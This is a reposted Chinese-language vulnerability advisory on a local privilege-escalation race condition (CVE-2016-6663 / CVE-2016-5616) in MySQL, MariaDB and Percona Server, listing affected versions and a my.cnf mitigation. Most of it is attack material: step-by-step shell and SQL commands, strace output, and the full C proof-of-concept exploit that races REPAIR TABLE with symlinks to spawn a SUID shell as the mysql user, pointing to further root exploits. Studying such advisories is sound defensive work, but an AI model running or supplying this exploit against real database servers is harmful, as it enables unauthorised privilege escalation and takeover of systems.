《MySQL / MariaDB / PerconaDB漏洞》要點:
本文介紹了MySQL / MariaDB / PerconaDB漏洞,希望對您有用。如果有疑問,可以聯系我們。
【漏洞預警】MySQL / MariaDB / PerconaDB - 提權/條件競爭漏洞(附POC)(8:00更新)
漏洞發現人:Dawid Golunski
漏洞級別:嚴重
CVE編號 :CVE-2016-6663 / CVE-2016-5616
漏洞影響:
MariaDB | < 5.5.52 |
< 10.1.18 | |
< 10.0.28 | |
MySQL | <= 5.5.51 |
<= 5.6.32 | |
<= 5.7.14 | |
Percona Server | < 5.5.51-38.2 |
< 5.6.32-78-1 | |
< 5.7.14-8 | |
Percona XtraDB Cluster | < 5.6.32-25.17 |
< 5.7.14-26.17 | |
< 5.5.41-37.0 |
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 數據庫中發現條件競爭漏洞,該漏洞允許本地用戶使用低權限(CREATE/INSERT/SELECT權限)賬號提升權限到數據庫系統用戶(通常是'mysql')執行任意代碼.成功利用此漏洞,允許攻擊者完全訪問數據庫.也有潛在風險通過(CVE-2016-6662 和 CVE-2016-6664漏洞)獲取操作系統root權限.
漏洞細節:
基于MYSQL的數據庫允許用戶新建數據庫,并且指定存儲目錄.例如:
1 | <p style= "text-indent: 2em;" >attacker@debian:~$ mkdir /tmp/disktable <br>attacker@debian:~$ chmod 777 /tmp/disktable/ <br>attacker@debian:~$ ls -ld /tmp/disktable/ <br>drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/ <br>< /p > |
可以通過data directory參數指定存儲目錄為/tmp/disktable/
1 | <p style= "text-indent: 2em;" >mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable' ;<br>< /p > |
執行完成后,查看下目錄權限,變為mysql
1 | <p style= "text-indent: 2em;" >attacker@debian:~$ ls -l /tmp/disktable/ <br>total 0<br>-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD<br>< /p > |
低權限(SELECT/CREATE/INSERT權限)的MYSQL賬戶,在執行表修復過程中,執行了不安全的臨時文件創建.
1 | <p style= "text-indent: 2em;" >mysql> REPAIR TABLE `poctab1`;<br>+----------------+--------+----------+----------+<br>| Table | Op | Msg_type | Msg_text |<br>+----------------+--------+----------+----------+<br>| testdb.poctab1 | repair | status | OK |<br>+----------------+--------+----------+----------+<br>< /p > |
通過查看系統調用,可以看到
1 | <p style= "text-indent: 2em;" >[pid 1463] lstat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>[pid 1463] open ( "/tmp/disktable/poctab1.MYD" , O_RDWR) = 65<br>[pid 1463] access( "./testdb/poctab1.TRG" , F_OK) = -1 ENOENT (No such file or directory)<br>[pid 1463] lseek(65, 0, SEEK_CUR) = 0<br>[pid 1463] lseek(65, 0, SEEK_END) = 0<br>[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0<br>[pid 1463] open ( "/tmp/disktable/poctab1.TMD" , O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66<br>[pid 1463] lseek(65, 0, SEEK_END) = 0<br>[pid 1463] lseek(64, 0, SEEK_END) = 1024<br>[pid 1463] close(65) = 0<br>[pid 1463] close(66) = 0<br>[pid 1463] lstat( "/tmp" , {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0<br>[pid 1463] lstat( "/tmp/disktable" , {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0<br>[pid 1463] lstat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>[pid 1463] stat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>[pid 1463] chmod ( "/tmp/disktable/poctab1.TMD" , 0660) = 0<br>[pid 1463] chown ( "/tmp/disktable/poctab1.TMD" , 110, 115) = 0<br>[pid 1463] unlink( "/tmp/disktable/poctab1.MYD" ) = 0<br>[pid 1463] rename( "/tmp/disktable/poctab1.TMD" , "/tmp/disktable/poctab1.MYD" ) = 0<br>< /p > |
第一個系統調用是
1 | <p style= "text-indent: 2em;" >[pid 1463] lstat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>< /p > |
我們可以看到,在檢驗poctab1.MYD表文件權限的時候,也會復制在創建repaired表時的臨時文件chmod()權限.因此在
1 | <p style= "text-indent: 2em;" >[pid 1463] lstat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>< /p > |
和
1 | <p style= "text-indent: 2em;" >[pid 1463] chmod ( "/tmp/disktable/poctab1.TMD" , 0660) = 0<br>< /p > |
系統調用之間,產生了條件競爭漏洞.
如果攻擊者刪除臨時表poctab1.TMD,然后通過符號鏈接在chmod()操作前替換/var/lib/mysql,則能夠完全控制MYSQL的data目錄權限.
攻擊者可以預設置poctab1.MYD權限為04777(suid),然后通過有漏洞的chmod()調用有效的復制一個bash shell來執行命令.這里會有一個問題,suid shell將指揮保留攻擊者的UID,而不是'mysql'用戶.因此攻擊者需要復制bash shell到mysql用戶用戶的表文件,然而mysql表文件又不具有寫權限.
可以通過新建一個具有組粘帖位(group sticky bit)的目錄來繞過這個限制
新建/tmp/disktable/目錄,并賦予組粘帖位(group sticky bit)
1 | <p style= "text-indent: 2em;" >attacker@debian: /tmp/disktable $ chmod g+s /tmp/disktable/ <br>attacker@debian: /tmp/disktable $ ls -ld /tmp/disktable/ <br>drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/ <br>< /p > |
通過data directory參數指定存儲目錄為/tmp/disktable/
1 | <p style= "text-indent: 2em;" >mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable' ;<br>Query OK, 0 rows affected (0.00 sec)<br>< /p > |
再次查看/tmp/disktable/權限
1 2 3 4 | attacker@debian: /tmp/disktable $ ls -l /tmp/disktable/ total 0 -rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD -rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD |
我們可以看到poctab2.MYD表已經是'mysql'權限了,但是屬于'attacker'組.這樣'attacker'就能夠復制/bin/bash到poctab2.MYD文件了.
漏洞驗證:
POC.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 | ------------------[ mysql-privesc-race.c ]-------------------- /* MySQL /PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit mysql-privesc-race.c (ver. 1.0) CVE-2016-6663 / OCVE-2016-5616 Discovered /Coded by: Dawid Golunski dawid[at]legalhackers.com @dawid_golunski http: //legalhackers .com Compile: gcc mysql-privesc-race.c -o mysql-privesc-race -I /usr/include/mysql -lmysqlclient Note: * On RedHat-based systems you might need to change /tmp to another public directory * For testing purposes only. Do no harm. Full advisory URL: http: //legalhackers .com /advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit .html */ #include <fcntl.h> #include <grp.h> #include <mysql.h> #include <pwd.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define EXP_PATH "/tmp/mysql_privesc_exploit" #define EXP_DIRN "mysql_privesc_exploit" #define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD" #define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD" #define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD" #define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary MYSQL *conn; // DB handles MYSQL_RES *res; MYSQL_ROW row; unsigned long cnt; void intro() { printf ( "\033[94m\n" "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n" "mysql-privesc-race.c (ver. 1.0)\n\n" "CVE-2016-6663 / OCVE-2016-5616\n\n" "For testing purposes only. Do no harm.\n\n" "Discovered/Coded by:\n\n" "Dawid Golunski \n" "http://legalhackers.com" "\033[0m\n\n" ); } void usage(char *argv0) { intro(); printf ( "Usage:\n\n%s user pass db_host database\n\n" , argv0); } void mysql_cmd(char *sql_cmd, int silent) { if (!silent) { printf ( "%s \n" , sql_cmd); } if (mysql_query(conn, sql_cmd)) { fprintf(stderr, "%s\n" , mysql_error(conn)); exit (1); } res = mysql_store_result(conn); if (res>0) mysql_free_result(res); } int main(int argc,char **argv) { int randomnum = 0; int io_notified = 0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; struct stat st; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; struct inotify_event *event; /* credentials */ char *user = argv[1]; char *password = argv[2]; char *db_host = argv[3]; char *database = argv[4]; // Disable buffering of stdout setvbuf(stdout, NULL, _IONBF, 0); // Get the params if (argc!=5) { usage(argv[0]); exit (1); } intro(); // Show initial privileges printf ( "\n[+] Starting the exploit as: \n" ); system( "id" ); // Connect to the database server with provided credentials printf ( "\n[+] Connecting to the database `%s` as %s@%s\n" , database, user, db_host); conn = mysql_init(NULL); if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { fprintf(stderr, "%s\n" , mysql_error(conn)); exit (1); } // Prepare tmp dir printf ( "\n[+] Creating exploit temp directory %s\n" , "/tmp/" EXP_DIRN); umask (000); system( "rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); system( "chmod g+s /tmp/" EXP_DIRN ); // Prepare exploit tables :) printf ( "\n[+] Creating mysql tables \n\n" ); mysql_cmd( "DROP TABLE IF EXISTS exploit_table" , 0); mysql_cmd( "DROP TABLE IF EXISTS mysql_suid_shell" , 0); mysql_cmd( "CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'" , 0); mysql_cmd( "CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'" , 0); // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory printf ( "\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n" ); system( "cp /bin/bash " SUID_SHELL); system( "ls -l " SUID_SHELL); // Use inotify to get the timing right fd = inotify_init(); if (fd < 0) { printf ( "failed to inotify_init\n" ); return -1; } ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE); /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+ exec perms */ printf ( "\n[+] Entering the race loop... Hang in there...\n" ); while ( is_shell_suid != 1 ) { cnt++; if ( (cnt % 100) == 0 ) { printf ( "->" ); //fflush (stdout); } /* Create empty file , remove if already exists */ unlink(MYSQL_TEMP_FILE); unlink(MYSQL_TAB_FILE); mysql_cmd( "DROP TABLE IF EXISTS exploit_table" , 1); mysql_cmd( "CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'" , 1); /* random num if needed */ srand ( time (NULL) ); randomnum = ( rand() % MAX_DELAY ); // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink pid = fork(); if (pid < 0) { fprintf(stderr, "Fork failed :(\n" ); } /* Child process - executes REPAIR TABLE SQL statement */ if (pid == 0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd( "REPAIR TABLE exploit_table EXTENDED" , 1); // child stops here exit (0); } /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ if (pid > 0 ) { io_notified = 0; while (1) { int processed = 0; ret = read (fd, buf, sizeof(buf)); if (ret < 0) { break ; } while (processed < ret) { event = (struct inotify_event *)(buf + processed); if (event->mask & IN_CLOSE) { if (!strcmp(event->name, "exploit_table.TMD" )) { //usleep (randomnum); // Set the .MYD permissions to suid+ exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle = open (MYSQL_TAB_FILE, O_CREAT, 0777); close(myd_handle); chmod (MYSQL_TAB_FILE, 04777); // Replace the temp .TMD file with a symlink to the target sh binary to get suid+ exec unlink(MYSQL_TEMP_FILE); symlink (SUID_SHELL, MYSQL_TEMP_FILE); io_notified=1; } } processed += sizeof(struct inotify_event); } if (io_notified) { break ; } } waitpid(pid, &status, 0); } // Check if SUID bit was set at the end of this attempt if ( lstat(SUID_SHELL, &st) == 0 ) { if (st.st_mode & S_ISUID) { is_shell_suid = 1; } } } printf ( "\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n" , cnt); system( "ls -l " SUID_SHELL); printf ( "\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n" ); system(SUID_SHELL " -p -i " ); //system (SUID_SHELL " -p -c '/bin/bash -i -p'" ); /* close MySQL connection and exit */ printf ( "\n[+] Job done. Exiting\n\n" ); mysql_close(conn); return 0; } |
視頻參考(作者隨后上傳):
http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
臨時解決辦法:
在my.cnf中添加
symbolic-links = 0
參考鏈接:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
歡迎參與《MySQL / MariaDB / PerconaDB漏洞》討論,分享您的想法,維易PHP學院為您提供專業教程。
轉載請注明本頁網址:
http://www.snjht.com/jiaocheng/7672.html